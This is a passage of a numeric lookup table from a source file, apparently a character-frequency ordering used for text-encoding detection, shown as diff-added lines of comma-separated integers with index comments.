815,1587,4033,4034,5277,3605,3486,3856,1254,4624,1328,3058,1390,4035, # 2352 +1741,4036,3857,4037,5278, 236,3858,2453,3304,5279,5280,3723,3859,1273,3860,4625, # 2368 +5281, 308,5282,4626, 245,4627,1852,2480,1307,2583, 430, 715,2137,2454,5283, 270, # 2384 + 199,2883,4038,5284,3606,2727,1753, 761,1754, 725,1661,1841,4628,3487,3724,5285, # 2400 +5286, 587, 14,3305, 227,2608, 326, 480,2270, 943,2765,3607, 291, 650,1884,5287, # 2416 +1702,1226, 102,1547, 62,3488, 904,4629,3489,1164,4294,5288,5289,1224,1548,2766, # 2432 + 391, 498,1493,5290,1386,1419,5291,2056,1177,4630, 813, 880,1081,2368, 566,1145, # 2448 +4631,2291,1001,1035,2566,2609,2242, 394,1286,5292,5293,2069,5294, 86,1494,1730, # 2464 +4039, 491,1588, 745, 897,2963, 843,3377,4040,2767,2884,3306,1768, 998,2221,2070, # 2480 + 397,1827,1195,1970,3725,3011,3378, 284,5295,3861,2507,2138,2120,1904,5296,4041, # 2496 +2151,4042,4295,1036,3490,1905, 114,2567,4296, 209,1527,5297,5298,2964,2844,2635, # 2512 +2390,2728,3164, 812,2568,5299,3307,5300,1559, 737,1885,3726,1210, 885, 28,2695, # 2528 +3608,3862,5301,4297,1004,1780,4632,5302, 346,1982,2222,2696,4633,3863,1742, 797, # 2544 +1642,4043,1934,1072,1384,2152, 896,4044,3308,3727,3228,2885,3609,5303,2569,1959, # 2560 +4634,2455,1786,5304,5305,5306,4045,4298,1005,1308,3728,4299,2729,4635,4636,1528, # 2576 +2610, 161,1178,4300,1983, 987,4637,1101,4301, 631,4046,1157,3229,2425,1343,1241, # 2592 +1016,2243,2570, 372, 877,2344,2508,1160, 555,1935, 911,4047,5307, 466,1170, 169, # 2608 +1051,2921,2697,3729,2481,3012,1182,2012,2571,1251,2636,5308, 992,2345,3491,1540, # 2624 +2730,1201,2071,2406,1997,2482,5309,4638, 528,1923,2191,1503,1874,1570,2369,3379, # 2640 +3309,5310, 557,1073,5311,1828,3492,2088,2271,3165,3059,3107, 767,3108,2799,4639, # 2656 +1006,4302,4640,2346,1267,2179,3730,3230, 778,4048,3231,2731,1597,2667,5312,4641, # 2672 +5313,3493,5314,5315,5316,3310,2698,1433,3311, 131, 95,1504,4049, 723,4303,3166, # 2688 +1842,3610,2768,2192,4050,2028,2105,3731,5317,3013,4051,1218,5318,3380,3232,4052, # 2704 +4304,2584, 248,1634,3864, 912,5319,2845,3732,3060,3865, 654, 53,5320,3014,5321, # 2720 +1688,4642, 777,3494,1032,4053,1425,5322, 191, 820,2121,2846, 971,4643, 931,3233, # 2736 + 135, 664, 783,3866,1998, 772,2922,1936,4054,3867,4644,2923,3234, 282,2732, 640, # 2752 +1372,3495,1127, 922, 325,3381,5323,5324, 711,2045,5325,5326,4055,2223,2800,1937, # 2768 +4056,3382,2224,2255,3868,2305,5327,4645,3869,1258,3312,4057,3235,2139,2965,4058, # 2784 +4059,5328,2225, 258,3236,4646, 101,1227,5329,3313,1755,5330,1391,3314,5331,2924, # 2800 +2057, 893,5332,5333,5334,1402,4305,2347,5335,5336,3237,3611,5337,5338, 878,1325, # 2816 +1781,2801,4647, 259,1385,2585, 744,1183,2272,4648,5339,4060,2509,5340, 684,1024, # 2832 +4306,5341, 472,3612,3496,1165,3315,4061,4062, 322,2153, 881, 455,1695,1152,1340, # 2848 + 660, 554,2154,4649,1058,4650,4307, 830,1065,3383,4063,4651,1924,5342,1703,1919, # 2864 +5343, 932,2273, 122,5344,4652, 947, 677,5345,3870,2637, 297,1906,1925,2274,4653, # 2880 +2322,3316,5346,5347,4308,5348,4309, 84,4310, 112, 989,5349, 547,1059,4064, 701, # 2896 +3613,1019,5350,4311,5351,3497, 942, 639, 457,2306,2456, 993,2966, 407, 851, 494, # 2912 +4654,3384, 927,5352,1237,5353,2426,3385, 573,4312, 680, 921,2925,1279,1875, 285, # 2928 + 790,1448,1984, 719,2168,5354,5355,4655,4065,4066,1649,5356,1541, 563,5357,1077, # 2944 +5358,3386,3061,3498, 511,3015,4067,4068,3733,4069,1268,2572,3387,3238,4656,4657, # 2960 +5359, 535,1048,1276,1189,2926,2029,3167,1438,1373,2847,2967,1134,2013,5360,4313, # 2976 +1238,2586,3109,1259,5361, 700,5362,2968,3168,3734,4314,5363,4315,1146,1876,1907, # 2992 +4658,2611,4070, 781,2427, 132,1589, 203, 147, 273,2802,2407, 898,1787,2155,4071, # 3008 +4072,5364,3871,2803,5365,5366,4659,4660,5367,3239,5368,1635,3872, 965,5369,1805, # 3024 +2699,1516,3614,1121,1082,1329,3317,4073,1449,3873, 65,1128,2848,2927,2769,1590, # 3040 +3874,5370,5371, 12,2668, 45, 976,2587,3169,4661, 517,2535,1013,1037,3240,5372, # 3056 +3875,2849,5373,3876,5374,3499,5375,2612, 614,1999,2323,3877,3110,2733,2638,5376, # 3072 +2588,4316, 599,1269,5377,1811,3735,5378,2700,3111, 759,1060, 489,1806,3388,3318, # 3088 +1358,5379,5380,2391,1387,1215,2639,2256, 490,5381,5382,4317,1759,2392,2348,5383, # 3104 +4662,3878,1908,4074,2640,1807,3241,4663,3500,3319,2770,2349, 874,5384,5385,3501, # 3120 +3736,1859, 91,2928,3737,3062,3879,4664,5386,3170,4075,2669,5387,3502,1202,1403, # 3136 +3880,2969,2536,1517,2510,4665,3503,2511,5388,4666,5389,2701,1886,1495,1731,4076, # 3152 +2370,4667,5390,2030,5391,5392,4077,2702,1216, 237,2589,4318,2324,4078,3881,4668, # 3168 +4669,2703,3615,3504, 445,4670,5393,5394,5395,5396,2771, 61,4079,3738,1823,4080, # 3184 +5397, 687,2046, 935, 925, 405,2670, 703,1096,1860,2734,4671,4081,1877,1367,2704, # 3200 +3389, 918,2106,1782,2483, 334,3320,1611,1093,4672, 564,3171,3505,3739,3390, 945, # 3216 +2641,2058,4673,5398,1926, 872,4319,5399,3506,2705,3112, 349,4320,3740,4082,4674, # 3232 +3882,4321,3741,2156,4083,4675,4676,4322,4677,2408,2047, 782,4084, 400, 251,4323, # 3248 +1624,5400,5401, 277,3742, 299,1265, 476,1191,3883,2122,4324,4325,1109, 205,5402, # 3264 +2590,1000,2157,3616,1861,5403,5404,5405,4678,5406,4679,2573, 107,2484,2158,4085, # 3280 +3507,3172,5407,1533, 541,1301, 158, 753,4326,2886,3617,5408,1696, 370,1088,4327, # 3296 +4680,3618, 579, 327, 440, 162,2244, 269,1938,1374,3508, 968,3063, 56,1396,3113, # 3312 +2107,3321,3391,5409,1927,2159,4681,3016,5410,3619,5411,5412,3743,4682,2485,5413, # 3328 +2804,5414,1650,4683,5415,2613,5416,5417,4086,2671,3392,1149,3393,4087,3884,4088, # 3344 +5418,1076, 49,5419, 951,3242,3322,3323, 450,2850, 920,5420,1812,2805,2371,4328, # 3360 +1909,1138,2372,3885,3509,5421,3243,4684,1910,1147,1518,2428,4685,3886,5422,4686, # 3376 +2393,2614, 260,1796,3244,5423,5424,3887,3324, 708,5425,3620,1704,5426,3621,1351, # 3392 +1618,3394,3017,1887, 944,4329,3395,4330,3064,3396,4331,5427,3744, 422, 413,1714, # 3408 +3325, 500,2059,2350,4332,2486,5428,1344,1911, 954,5429,1668,5430,5431,4089,2409, # 3424 +4333,3622,3888,4334,5432,2307,1318,2512,3114, 133,3115,2887,4687, 629, 31,2851, # 3440 +2706,3889,4688, 850, 949,4689,4090,2970,1732,2089,4335,1496,1853,5433,4091, 620, # 3456 +3245, 981,1242,3745,3397,1619,3746,1643,3326,2140,2457,1971,1719,3510,2169,5434, # 3472 +3246,5435,5436,3398,1829,5437,1277,4690,1565,2048,5438,1636,3623,3116,5439, 869, # 3488 +2852, 655,3890,3891,3117,4092,3018,3892,1310,3624,4691,5440,5441,5442,1733, 558, # 3504 +4692,3747, 335,1549,3065,1756,4336,3748,1946,3511,1830,1291,1192, 470,2735,2108, # 3520 +2806, 913,1054,4093,5443,1027,5444,3066,4094,4693, 982,2672,3399,3173,3512,3247, # 3536 +3248,1947,2807,5445, 571,4694,5446,1831,5447,3625,2591,1523,2429,5448,2090, 984, # 3552 +4695,3749,1960,5449,3750, 852, 923,2808,3513,3751, 969,1519, 999,2049,2325,1705, # 3568 +5450,3118, 615,1662, 151, 597,4095,2410,2326,1049, 275,4696,3752,4337, 568,3753, # 3584 +3626,2487,4338,3754,5451,2430,2275, 409,3249,5452,1566,2888,3514,1002, 769,2853, # 3600 + 194,2091,3174,3755,2226,3327,4339, 628,1505,5453,5454,1763,2180,3019,4096, 521, # 3616 +1161,2592,1788,2206,2411,4697,4097,1625,4340,4341, 412, 42,3119, 464,5455,2642, # 3632 +4698,3400,1760,1571,2889,3515,2537,1219,2207,3893,2643,2141,2373,4699,4700,3328, # 3648 +1651,3401,3627,5456,5457,3628,2488,3516,5458,3756,5459,5460,2276,2092, 460,5461, # 3664 +4701,5462,3020, 962, 588,3629, 289,3250,2644,1116, 52,5463,3067,1797,5464,5465, # 3680 +5466,1467,5467,1598,1143,3757,4342,1985,1734,1067,4702,1280,3402, 465,4703,1572, # 3696 + 510,5468,1928,2245,1813,1644,3630,5469,4704,3758,5470,5471,2673,1573,1534,5472, # 3712 +5473, 536,1808,1761,3517,3894,3175,2645,5474,5475,5476,4705,3518,2929,1912,2809, # 3728 +5477,3329,1122, 377,3251,5478, 360,5479,5480,4343,1529, 551,5481,2060,3759,1769, # 3744 +2431,5482,2930,4344,3330,3120,2327,2109,2031,4706,1404, 136,1468,1479, 672,1171, # 3760 +3252,2308, 271,3176,5483,2772,5484,2050, 678,2736, 865,1948,4707,5485,2014,4098, # 3776 +2971,5486,2737,2227,1397,3068,3760,4708,4709,1735,2931,3403,3631,5487,3895, 509, # 3792 +2854,2458,2890,3896,5488,5489,3177,3178,4710,4345,2538,4711,2309,1166,1010, 552, # 3808 + 681,1888,5490,5491,2972,2973,4099,1287,1596,1862,3179, 358, 453, 736, 175, 478, # 3824 +1117, 905,1167,1097,5492,1854,1530,5493,1706,5494,2181,3519,2292,3761,3520,3632, # 3840 +4346,2093,4347,5495,3404,1193,2489,4348,1458,2193,2208,1863,1889,1421,3331,2932, # 3856 +3069,2182,3521, 595,2123,5496,4100,5497,5498,4349,1707,2646, 223,3762,1359, 751, # 3872 +3121, 183,3522,5499,2810,3021, 419,2374, 633, 704,3897,2394, 241,5500,5501,5502, # 3888 + 838,3022,3763,2277,2773,2459,3898,1939,2051,4101,1309,3122,2246,1181,5503,1136, # 3904 +2209,3899,2375,1446,4350,2310,4712,5504,5505,4351,1055,2615, 484,3764,5506,4102, # 3920 + 625,4352,2278,3405,1499,4353,4103,5507,4104,4354,3253,2279,2280,3523,5508,5509, # 3936 +2774, 808,2616,3765,3406,4105,4355,3123,2539, 526,3407,3900,4356, 955,5510,1620, # 3952 +4357,2647,2432,5511,1429,3766,1669,1832, 994, 928,5512,3633,1260,5513,5514,5515, # 3968 +1949,2293, 741,2933,1626,4358,2738,2460, 867,1184, 362,3408,1392,5516,5517,4106, # 3984 +4359,1770,1736,3254,2934,4713,4714,1929,2707,1459,1158,5518,3070,3409,2891,1292, # 4000 +1930,2513,2855,3767,1986,1187,2072,2015,2617,4360,5519,2574,2514,2170,3768,2490, # 4016 +3332,5520,3769,4715,5521,5522, 666,1003,3023,1022,3634,4361,5523,4716,1814,2257, # 4032 + 574,3901,1603, 295,1535, 705,3902,4362, 283, 858, 417,5524,5525,3255,4717,4718, # 4048 +3071,1220,1890,1046,2281,2461,4107,1393,1599, 689,2575, 388,4363,5526,2491, 802, # 4064 +5527,2811,3903,2061,1405,2258,5528,4719,3904,2110,1052,1345,3256,1585,5529, 809, # 4080 +5530,5531,5532, 575,2739,3524, 956,1552,1469,1144,2328,5533,2329,1560,2462,3635, # 4096 +3257,4108, 616,2210,4364,3180,2183,2294,5534,1833,5535,3525,4720,5536,1319,3770, # 4112 +3771,1211,3636,1023,3258,1293,2812,5537,5538,5539,3905, 607,2311,3906, 762,2892, # 4128 +1439,4365,1360,4721,1485,3072,5540,4722,1038,4366,1450,2062,2648,4367,1379,4723, # 4144 +2593,5541,5542,4368,1352,1414,2330,2935,1172,5543,5544,3907,3908,4724,1798,1451, # 4160 +5545,5546,5547,5548,2936,4109,4110,2492,2351, 411,4111,4112,3637,3333,3124,4725, # 4176 +1561,2674,1452,4113,1375,5549,5550, 47,2974, 316,5551,1406,1591,2937,3181,5552, # 4192 +1025,2142,3125,3182, 354,2740, 884,2228,4369,2412, 508,3772, 726,3638, 996,2433, # 4208 +3639, 729,5553, 392,2194,1453,4114,4726,3773,5554,5555,2463,3640,2618,1675,2813, # 4224 + 919,2352,2975,2353,1270,4727,4115, 73,5556,5557, 647,5558,3259,2856,2259,1550, # 4240 +1346,3024,5559,1332, 883,3526,5560,5561,5562,5563,3334,2775,5564,1212, 831,1347, # 4256 +4370,4728,2331,3909,1864,3073, 720,3910,4729,4730,3911,5565,4371,5566,5567,4731, # 4272 +5568,5569,1799,4732,3774,2619,4733,3641,1645,2376,4734,5570,2938, 669,2211,2675, # 4288 +2434,5571,2893,5572,5573,1028,3260,5574,4372,2413,5575,2260,1353,5576,5577,4735, # 4304 +3183, 518,5578,4116,5579,4373,1961,5580,2143,4374,5581,5582,3025,2354,2355,3912, # 4320 + 516,1834,1454,4117,2708,4375,4736,2229,2620,1972,1129,3642,5583,2776,5584,2976, # 4336 +1422, 577,1470,3026,1524,3410,5585,5586, 432,4376,3074,3527,5587,2594,1455,2515, # 4352 +2230,1973,1175,5588,1020,2741,4118,3528,4737,5589,2742,5590,1743,1361,3075,3529, # 4368 +2649,4119,4377,4738,2295, 895, 924,4378,2171, 331,2247,3076, 166,1627,3077,1098, # 4384 +5591,1232,2894,2231,3411,4739, 657, 403,1196,2377, 542,3775,3412,1600,4379,3530, # 4400 +5592,4740,2777,3261, 576, 530,1362,4741,4742,2540,2676,3776,4120,5593, 842,3913, # 4416 +5594,2814,2032,1014,4121, 213,2709,3413, 665, 621,4380,5595,3777,2939,2435,5596, # 4432 +2436,3335,3643,3414,4743,4381,2541,4382,4744,3644,1682,4383,3531,1380,5597, 724, # 4448 +2282, 600,1670,5598,1337,1233,4745,3126,2248,5599,1621,4746,5600, 651,4384,5601, # 4464 +1612,4385,2621,5602,2857,5603,2743,2312,3078,5604, 716,2464,3079, 174,1255,2710, # 4480 +4122,3645, 548,1320,1398, 728,4123,1574,5605,1891,1197,3080,4124,5606,3081,3082, # 4496 +3778,3646,3779, 747,5607, 635,4386,4747,5608,5609,5610,4387,5611,5612,4748,5613, # 4512 +3415,4749,2437, 451,5614,3780,2542,2073,4388,2744,4389,4125,5615,1764,4750,5616, # 4528 +4390, 350,4751,2283,2395,2493,5617,4391,4126,2249,1434,4127, 488,4752, 458,4392, # 4544 +4128,3781, 771,1330,2396,3914,2576,3184,2160,2414,1553,2677,3185,4393,5618,2494, # 4560 +2895,2622,1720,2711,4394,3416,4753,5619,2543,4395,5620,3262,4396,2778,5621,2016, # 4576 +2745,5622,1155,1017,3782,3915,5623,3336,2313, 201,1865,4397,1430,5624,4129,5625, # 4592 +5626,5627,5628,5629,4398,1604,5630, 414,1866, 371,2595,4754,4755,3532,2017,3127, # 4608 +4756,1708, 960,4399, 887, 389,2172,1536,1663,1721,5631,2232,4130,2356,2940,1580, # 4624 +5632,5633,1744,4757,2544,4758,4759,5634,4760,5635,2074,5636,4761,3647,3417,2896, # 4640 +4400,5637,4401,2650,3418,2815, 673,2712,2465, 709,3533,4131,3648,4402,5638,1148, # 4656 + 502, 634,5639,5640,1204,4762,3649,1575,4763,2623,3783,5641,3784,3128, 948,3263, # 4672 + 121,1745,3916,1110,5642,4403,3083,2516,3027,4132,3785,1151,1771,3917,1488,4133, # 4688 +1987,5643,2438,3534,5644,5645,2094,5646,4404,3918,1213,1407,2816, 531,2746,2545, # 4704 +3264,1011,1537,4764,2779,4405,3129,1061,5647,3786,3787,1867,2897,5648,2018, 120, # 4720 +4406,4407,2063,3650,3265,2314,3919,2678,3419,1955,4765,4134,5649,3535,1047,2713, # 4736 +1266,5650,1368,4766,2858, 649,3420,3920,2546,2747,1102,2859,2679,5651,5652,2000, # 4752 +5653,1111,3651,2977,5654,2495,3921,3652,2817,1855,3421,3788,5655,5656,3422,2415, # 4768 +2898,3337,3266,3653,5657,2577,5658,3654,2818,4135,1460, 856,5659,3655,5660,2899, # 4784 +2978,5661,2900,3922,5662,4408, 632,2517, 875,3923,1697,3924,2296,5663,5664,4767, # 4800 +3028,1239, 580,4768,4409,5665, 914, 936,2075,1190,4136,1039,2124,5666,5667,5668, # 4816 +5669,3423,1473,5670,1354,4410,3925,4769,2173,3084,4137, 915,3338,4411,4412,3339, # 4832 +1605,1835,5671,2748, 398,3656,4413,3926,4138, 328,1913,2860,4139,3927,1331,4414, # 4848 +3029, 937,4415,5672,3657,4140,4141,3424,2161,4770,3425, 524, 742, 538,3085,1012, # 4864 +5673,5674,3928,2466,5675, 658,1103, 225,3929,5676,5677,4771,5678,4772,5679,3267, # 4880 +1243,5680,4142, 963,2250,4773,5681,2714,3658,3186,5682,5683,2596,2332,5684,4774, # 4896 +5685,5686,5687,3536, 957,3426,2547,2033,1931,2941,2467, 870,2019,3659,1746,2780, # 4912 +2781,2439,2468,5688,3930,5689,3789,3130,3790,3537,3427,3791,5690,1179,3086,5691, # 4928 +3187,2378,4416,3792,2548,3188,3131,2749,4143,5692,3428,1556,2549,2297, 977,2901, # 4944 +2034,4144,1205,3429,5693,1765,3430,3189,2125,1271, 714,1689,4775,3538,5694,2333, # 4960 +3931, 533,4417,3660,2184, 617,5695,2469,3340,3539,2315,5696,5697,3190,5698,5699, # 4976 +3932,1988, 618, 427,2651,3540,3431,5700,5701,1244,1690,5702,2819,4418,4776,5703, # 4992 +3541,4777,5704,2284,1576, 473,3661,4419,3432, 972,5705,3662,5706,3087,5707,5708, # 5008 +4778,4779,5709,3793,4145,4146,5710, 153,4780, 356,5711,1892,2902,4420,2144, 408, # 5024 + 803,2357,5712,3933,5713,4421,1646,2578,2518,4781,4782,3934,5714,3935,4422,5715, # 5040 +2416,3433, 752,5716,5717,1962,3341,2979,5718, 746,3030,2470,4783,4423,3794, 698, # 5056 +4784,1893,4424,3663,2550,4785,3664,3936,5719,3191,3434,5720,1824,1302,4147,2715, # 5072 +3937,1974,4425,5721,4426,3192, 823,1303,1288,1236,2861,3542,4148,3435, 774,3938, # 5088 +5722,1581,4786,1304,2862,3939,4787,5723,2440,2162,1083,3268,4427,4149,4428, 344, # 5104 +1173, 288,2316, 454,1683,5724,5725,1461,4788,4150,2597,5726,5727,4789, 985, 894, # 5120 +5728,3436,3193,5729,1914,2942,3795,1989,5730,2111,1975,5731,4151,5732,2579,1194, # 5136 + 425,5733,4790,3194,1245,3796,4429,5734,5735,2863,5736, 636,4791,1856,3940, 760, # 5152 +1800,5737,4430,2212,1508,4792,4152,1894,1684,2298,5738,5739,4793,4431,4432,2213, # 5168 + 479,5740,5741, 832,5742,4153,2496,5743,2980,2497,3797, 990,3132, 627,1815,2652, # 5184 +4433,1582,4434,2126,2112,3543,4794,5744, 799,4435,3195,5745,4795,2113,1737,3031, # 5200 +1018, 543, 754,4436,3342,1676,4796,4797,4154,4798,1489,5746,3544,5747,2624,2903, # 5216 +4155,5748,5749,2981,5750,5751,5752,5753,3196,4799,4800,2185,1722,5754,3269,3270, # 5232 +1843,3665,1715, 481, 365,1976,1857,5755,5756,1963,2498,4801,5757,2127,3666,3271, # 5248 + 433,1895,2064,2076,5758, 602,2750,5759,5760,5761,5762,5763,3032,1628,3437,5764, # 5264 +3197,4802,4156,2904,4803,2519,5765,2551,2782,5766,5767,5768,3343,4804,2905,5769, # 5280 +4805,5770,2864,4806,4807,1221,2982,4157,2520,5771,5772,5773,1868,1990,5774,5775, # 5296 +5776,1896,5777,5778,4808,1897,4158, 318,5779,2095,4159,4437,5780,5781, 485,5782, # 5312 + 938,3941, 553,2680, 116,5783,3942,3667,5784,3545,2681,2783,3438,3344,2820,5785, # 5328 +3668,2943,4160,1747,2944,2983,5786,5787, 207,5788,4809,5789,4810,2521,5790,3033, # 5344 + 890,3669,3943,5791,1878,3798,3439,5792,2186,2358,3440,1652,5793,5794,5795, 941, # 5360 +2299, 208,3546,4161,2020, 330,4438,3944,2906,2499,3799,4439,4811,5796,5797,5798, # 5376 #last 512 +#Everything below is of no interest for detection purpose +2522,1613,4812,5799,3345,3945,2523,5800,4162,5801,1637,4163,2471,4813,3946,5802, # 5392 +2500,3034,3800,5803,5804,2195,4814,5805,2163,5806,5807,5808,5809,5810,5811,5812, # 5408 +5813,5814,5815,5816,5817,5818,5819,5820,5821,5822,5823,5824,5825,5826,5827,5828, # 5424 +5829,5830,5831,5832,5833,5834,5835,5836,5837,5838,5839,5840,5841,5842,5843,5844, # 5440 +5845,5846,5847,5848,5849,5850,5851,5852,5853,5854,5855,5856,5857,5858,5859,5860, # 5456 +5861,5862,5863,5864,5865,5866,5867,5868,5869,5870,5871,5872,5873,5874,5875,5876, # 5472 +5877,5878,5879,5880,5881,5882,5883,5884,5885,5886,5887,5888,5889,5890,5891,5892, # 5488 +5893,5894,5895,5896,5897,5898,5899,5900,5901,5902,5903,5904,5905,5906,5907,5908, # 5504 +5909,5910,5911,5912,5913,5914,5915,5916,5917,5918,5919,5920,5921,5922,5923,5924, # 5520 +5925,5926,5927,5928,5929,5930,5931,5932,5933,5934,5935,5936,5937,5938,5939,5940, # 5536 +5941,5942,5943,5944,5945,5946,5947,5948,5949,5950,5951,5952,5953,5954,5955,5956, # 5552 +5957,5958,5959,5960,5961,5962,5963,5964,5965,5966,5967,5968,5969,5970,5971,5972, # 5568 +5973,5974,5975,5976,5977,5978,5979,5980,5981,5982,5983,5984,5985,5986,5987,5988, # 5584 +5989,5990,5991,5992,5993,5994,5995,5996,5997,5998,5999,6000,6001,6002,6003,6004, # 5600 +6005,6006,6007,6008,6009,6010,6011,6012,6013,6014,6015,6016,6017,6018,6019,6020, # 5616 +6021,6022,6023,6024,6025,6026,6027,6028,6029,6030,6031,6032,6033,6034,6035,6036, # 5632 +6037,6038,6039,6040,6041,6042,6043,6044,6045,6046,6047,6048,6049,6050,6051,6052, # 5648 +6053,6054,6055,6056,6057,6058,6059,6060,6061,6062,6063,6064,6065,6066,6067,6068, # 5664 +6069,6070,6071,6072,6073,6074,6075,6076,6077,6078,6079,6080,6081,6082,6083,6084, # 5680 +6085,6086,6087,6088,6089,6090,6091,6092,6093,6094,6095,6096,6097,6098,6099,6100, # 5696 +6101,6102,6103,6104,6105,6106,6107,6108,6109,6110,6111,6112,6113,6114,6115,6116, # 5712 +6117,6118,6119,6120,6121,6122,6123,6124,6125,6126,6127,6128,6129,6130,6131,6132, # 5728 +6133,6134,6135,6136,6137,6138,6139,6140,6141,6142,6143,6144,6145,6146,6147,6148, # 5744 +6149,6150,6151,6152,6153,6154,6155,6156,6157,6158,6159,6160,6161,6162,6163,6164, # 5760 +6165,6166,6167,6168,6169,6170,6171,6172,6173,6174,6175,6176,6177,6178,6179,6180, # 5776 +6181,6182,6183,6184,6185,6186,6187,6188,6189,6190,6191,6192,6193,6194,6195,6196, # 5792 +6197,6198,6199,6200,6201,6202,6203,6204,6205,6206,6207,6208,6209,6210,6211,6212, # 5808 +6213,6214,6215,6216,6217,6218,6219,6220,6221,6222,6223,3670,6224,6225,6226,6227, # 5824 +6228,6229,6230,6231,6232,6233,6234,6235,6236,6237,6238,6239,6240,6241,6242,6243, # 5840 +6244,6245,6246,6247,6248,6249,6250,6251,6252,6253,6254,6255,6256,6257,6258,6259, # 5856 +6260,6261,6262,6263,6264,6265,6266,6267,6268,6269,6270,6271,6272,6273,6274,6275, # 5872 +6276,6277,6278,6279,6280,6281,6282,6283,6284,6285,4815,6286,6287,6288,6289,6290, # 5888 +6291,6292,4816,6293,6294,6295,6296,6297,6298,6299,6300,6301,6302,6303,6304,6305, # 5904 +6306,6307,6308,6309,6310,6311,4817,4818,6312,6313,6314,6315,6316,6317,6318,4819, # 5920 +6319,6320,6321,6322,6323,6324,6325,6326,6327,6328,6329,6330,6331,6332,6333,6334, # 5936 +6335,6336,6337,4820,6338,6339,6340,6341,6342,6343,6344,6345,6346,6347,6348,6349, # 5952 +6350,6351,6352,6353,6354,6355,6356,6357,6358,6359,6360,6361,6362,6363,6364,6365, # 5968 +6366,6367,6368,6369,6370,6371,6372,6373,6374,6375,6376,6377,6378,6379,6380,6381, # 5984 +6382,6383,6384,6385,6386,6387,6388,6389,6390,6391,6392,6393,6394,6395,6396,6397, # 6000 +6398,6399,6400,6401,6402,6403,6404,6405,6406,6407,6408,6409,6410,3441,6411,6412, # 6016 +6413,6414,6415,6416,6417,6418,6419,6420,6421,6422,6423,6424,6425,4440,6426,6427, # 6032 +6428,6429,6430,6431,6432,6433,6434,6435,6436,6437,6438,6439,6440,6441,6442,6443, # 6048 +6444,6445,6446,6447,6448,6449,6450,6451,6452,6453,6454,4821,6455,6456,6457,6458, # 6064 +6459,6460,6461,6462,6463,6464,6465,6466,6467,6468,6469,6470,6471,6472,6473,6474, # 6080 +6475,6476,6477,3947,3948,6478,6479,6480,6481,3272,4441,6482,6483,6484,6485,4442, # 6096 +6486,6487,6488,6489,6490,6491,6492,6493,6494,6495,6496,4822,6497,6498,6499,6500, # 6112 +6501,6502,6503,6504,6505,6506,6507,6508,6509,6510,6511,6512,6513,6514,6515,6516, # 6128 +6517,6518,6519,6520,6521,6522,6523,6524,6525,6526,6527,6528,6529,6530,6531,6532, # 6144 +6533,6534,6535,6536,6537,6538,6539,6540,6541,6542,6543,6544,6545,6546,6547,6548, # 6160 +6549,6550,6551,6552,6553,6554,6555,6556,2784,6557,4823,6558,6559,6560,6561,6562, # 6176 +6563,6564,6565,6566,6567,6568,6569,3949,6570,6571,6572,4824,6573,6574,6575,6576, # 6192 +6577,6578,6579,6580,6581,6582,6583,4825,6584,6585,6586,3950,2785,6587,6588,6589, # 6208 +6590,6591,6592,6593,6594,6595,6596,6597,6598,6599,6600,6601,6602,6603,6604,6605, # 6224 +6606,6607,6608,6609,6610,6611,6612,4826,6613,6614,6615,4827,6616,6617,6618,6619, # 6240 +6620,6621,6622,6623,6624,6625,4164,6626,6627,6628,6629,6630,6631,6632,6633,6634, # 6256 +3547,6635,4828,6636,6637,6638,6639,6640,6641,6642,3951,2984,6643,6644,6645,6646, # 6272 +6647,6648,6649,4165,6650,4829,6651,6652,4830,6653,6654,6655,6656,6657,6658,6659, # 6288 +6660,6661,6662,4831,6663,6664,6665,6666,6667,6668,6669,6670,6671,4166,6672,4832, # 6304 +3952,6673,6674,6675,6676,4833,6677,6678,6679,4167,6680,6681,6682,3198,6683,6684, # 6320 +6685,6686,6687,6688,6689,6690,6691,6692,6693,6694,6695,6696,6697,4834,6698,6699, # 6336 +6700,6701,6702,6703,6704,6705,6706,6707,6708,6709,6710,6711,6712,6713,6714,6715, # 6352 +6716,6717,6718,6719,6720,6721,6722,6723,6724,6725,6726,6727,6728,6729,6730,6731, # 6368 +6732,6733,6734,4443,6735,6736,6737,6738,6739,6740,6741,6742,6743,6744,6745,4444, # 6384 +6746,6747,6748,6749,6750,6751,6752,6753,6754,6755,6756,6757,6758,6759,6760,6761, # 6400 +6762,6763,6764,6765,6766,6767,6768,6769,6770,6771,6772,6773,6774,6775,6776,6777, # 6416 +6778,6779,6780,6781,4168,6782,6783,3442,6784,6785,6786,6787,6788,6789,6790,6791, # 6432 +4169,6792,6793,6794,6795,6796,6797,6798,6799,6800,6801,6802,6803,6804,6805,6806, # 6448 +6807,6808,6809,6810,6811,4835,6812,6813,6814,4445,6815,6816,4446,6817,6818,6819, # 6464 +6820,6821,6822,6823,6824,6825,6826,6827,6828,6829,6830,6831,6832,6833,6834,6835, # 6480 +3548,6836,6837,6838,6839,6840,6841,6842,6843,6844,6845,6846,4836,6847,6848,6849, # 6496 +6850,6851,6852,6853,6854,3953,6855,6856,6857,6858,6859,6860,6861,6862,6863,6864, # 6512 +6865,6866,6867,6868,6869,6870,6871,6872,6873,6874,6875,6876,6877,3199,6878,6879, # 6528 +6880,6881,6882,4447,6883,6884,6885,6886,6887,6888,6889,6890,6891,6892,6893,6894, # 6544 +6895,6896,6897,6898,6899,6900,6901,6902,6903,6904,4170,6905,6906,6907,6908,6909, # 6560 +6910,6911,6912,6913,6914,6915,6916,6917,6918,6919,6920,6921,6922,6923,6924,6925, # 6576 +6926,6927,4837,6928,6929,6930,6931,6932,6933,6934,6935,6936,3346,6937,6938,4838, # 6592 +6939,6940,6941,4448,6942,6943,6944,6945,6946,4449,6947,6948,6949,6950,6951,6952, # 6608 +6953,6954,6955,6956,6957,6958,6959,6960,6961,6962,6963,6964,6965,6966,6967,6968, # 6624 +6969,6970,6971,6972,6973,6974,6975,6976,6977,6978,6979,6980,6981,6982,6983,6984, # 6640 +6985,6986,6987,6988,6989,6990,6991,6992,6993,6994,3671,6995,6996,6997,6998,4839, # 6656 +6999,7000,7001,7002,3549,7003,7004,7005,7006,7007,7008,7009,7010,7011,7012,7013, # 6672 +7014,7015,7016,7017,7018,7019,7020,7021,7022,7023,7024,7025,7026,7027,7028,7029, # 6688 +7030,4840,7031,7032,7033,7034,7035,7036,7037,7038,4841,7039,7040,7041,7042,7043, # 6704 +7044,7045,7046,7047,7048,7049,7050,7051,7052,7053,7054,7055,7056,7057,7058,7059, # 6720 +7060,7061,7062,7063,7064,7065,7066,7067,7068,7069,7070,2985,7071,7072,7073,7074, # 6736 +7075,7076,7077,7078,7079,7080,4842,7081,7082,7083,7084,7085,7086,7087,7088,7089, # 6752 +7090,7091,7092,7093,7094,7095,7096,7097,7098,7099,7100,7101,7102,7103,7104,7105, # 6768 